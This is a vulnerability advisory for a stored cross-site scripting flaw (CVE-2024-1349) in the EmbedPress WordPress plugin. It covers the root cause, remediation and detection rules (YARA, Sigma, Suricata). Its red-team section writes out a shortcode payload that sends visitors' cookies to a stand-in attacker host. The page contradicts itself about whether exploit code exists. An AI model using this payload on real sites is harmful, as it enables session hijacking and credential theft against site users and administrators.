CVE-2024-1349
Executive Summary
CVE-2024-1349 is a Stored Cross-Site Scripting (XSS) vulnerability in the EmbedPress WordPress plugin (versions up to and including 3.9.8). The flaw resides in insufficient input sanitization and output escaping on user-supplied attributes within the plugin's shortcodes. An authenticated attacker with at least contributor-level permissions can inject arbitrary web scripts into pages. When any user (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation activity at this time, but the risk remains significant for WordPress sites using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, any site using EmbedPress versions ≤ 3.9.8 is exposed. Since no patch is available, site administrators must either disable the plugin, restrict contributor-level user permissions, or apply a virtual patch via a Web Application Firewall (WAF).
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (contributor-level)
- User Interaction: None
- Scope: Changed (impact on other components)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation and lateral movement within the WordPress admin panel elevates the risk for sites with multiple user roles.
Deep Dive & Mechanics
The vulnerability exists in the embedpress shortcode handler. The plugin fails to properly sanitize and escape user-supplied attributes such as url, width, height, or custom CSS classes. When a contributor creates or edits a post/page and inserts the shortcode with malicious attribute values, the unsanitized input is stored in the WordPress database. Upon rendering the page, the malicious payload is executed in the context of the visitor's browser.
Root Cause: The plugin uses add_shortcode to register the shortcode but does not apply esc_attr() or wp_kses() to attribute values before output. This allows injection of event handlers like onload, onerror, or direct <script> tags.
Attack Flow:
- Attacker logs in as a contributor.
- Creates a new post or page.
- Inserts the shortcode:
[embedpress url="https://example.com" onload="alert('XSS')"] - Publishes or saves the post.
- Any user visiting the post triggers the XSS payload.
Vulnerable vs. Patched Code
Vulnerable Code (EmbedPress ≤ 3.9.8):
// In embedpress.php or shortcode handler
function embedpress_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '',
'width' => '100%',
'height' => '400',
), $atts);
// Direct output without sanitization
return '<div class="embedpress-wrapper" style="width:' . $atts['width'] . ';height:' . $atts['height'] . ';">' .
'<iframe src="' . $atts['url'] . '" width="100%" height="100%"></iframe></div>';
}
Patched Code (Hypothetical Fix):
function embedpress_shortcode($atts) {
$atts = shortcode_atts(array(
'url' => '',
'width' => '100%',
'height' => '400',
), $atts);
// Sanitize and escape attributes
$url = esc_url($atts['url']);
$width = esc_attr($atts['width']);
$height = esc_attr($atts['height']);
return '<div class="embedpress-wrapper" style="width:' . $width . ';height:' . $height . ';">' .
'<iframe src="' . $url . '" width="100%" height="100%"></iframe></div>';
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with EmbedPress ≤ 3.9.8 installed and activated.
- Contributor-level account credentials.
Exploitation Steps:
- Log in as a contributor.
- Create a new post.
- In the text editor, insert the following shortcode:
[embedpress url="https://evil.com/xss.js" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)"] - Publish the post.
- When an admin or visitor loads the post, the script executes, exfiltrating cookies.
Alternative Payload (using onerror):
[embedpress url="x" onerror="alert(document.cookie)"]
Blue Team
Detection:
- Monitor for posts containing the
[embedpressshortcode with suspicious attributes (e.g.,onload,onerror,onclick). - Use WAF rules to block requests containing
onload=oronerror=in shortcode attributes. - Review user activity logs for contributor-level users creating posts with unusual shortcode usage.
Hunting Query (WordPress Database):
SELECT ID, post_title, post_content
FROM wp_posts
WHERE post_content LIKE '%[embedpress%onload=%'
OR post_content LIKE '%[embedpress%onerror=%'
OR post_content LIKE '%[embedpress%onclick=%';
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/embedpress/embedpress.php(version ≤ 3.9.8) - Database: Posts containing shortcodes with event handler attributes (e.g.,
onload,onerror). - Network: Outbound connections to unknown domains from the WordPress server (potential data exfiltration).
- Logs:
wp-content/debug.logentries showing PHP warnings related to shortcode parsing.
Detection Engineering
YARA Rule
rule CVE_2024_1349_EmbedPress_XSS {
meta:
description = "Detects malicious shortcode attributes in EmbedPress plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-1349"
strings:
$shortcode = /\[embedpress[^\]]*?(onload|onerror|onclick|onmouseover)[=]/
$script_tag = /<script[^>]*>/
condition:
$shortcode or $script_tag
}
Sigma Rule
title: CVE-2024-1349 - Stored XSS via EmbedPress Shortcode
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects posts containing malicious EmbedPress shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.url|contains:
- '/wp-admin/post.php'
- '/wp-admin/post-new.php'
http.body|contains:
- '[embedpress'
- 'onload='
- 'onerror='
- 'onclick='
condition: selection
falsepositives:
- Legitimate use of onload attributes in iframes (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1349 - EmbedPress Stored XSS Attempt"; flow:to_server,established; content:"[embedpress"; http_client_body; nocase; content:"onload="; http_client_body; nocase; distance:0; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict contributor-level permissions – only allow trusted users to create posts.
- Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block shortcode attributes containing event handlers.
Long-Term Fix:
- Monitor the plugin's official repository for a patched version (≥ 3.9.9).
- Once available, update immediately.
- Implement a Content Security Policy (CSP) to mitigate XSS impact.
Workaround (Code-Level):
If you must keep the plugin active, add the following filter to your theme's functions.php:
add_filter('embedpress_output', function($output, $atts) {
foreach ($atts as $key => $value) {
if (preg_match('/^on/i', $key)) {
return '<!-- Blocked malicious attribute -->';
}
}
return $output;
}, 10, 2);
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.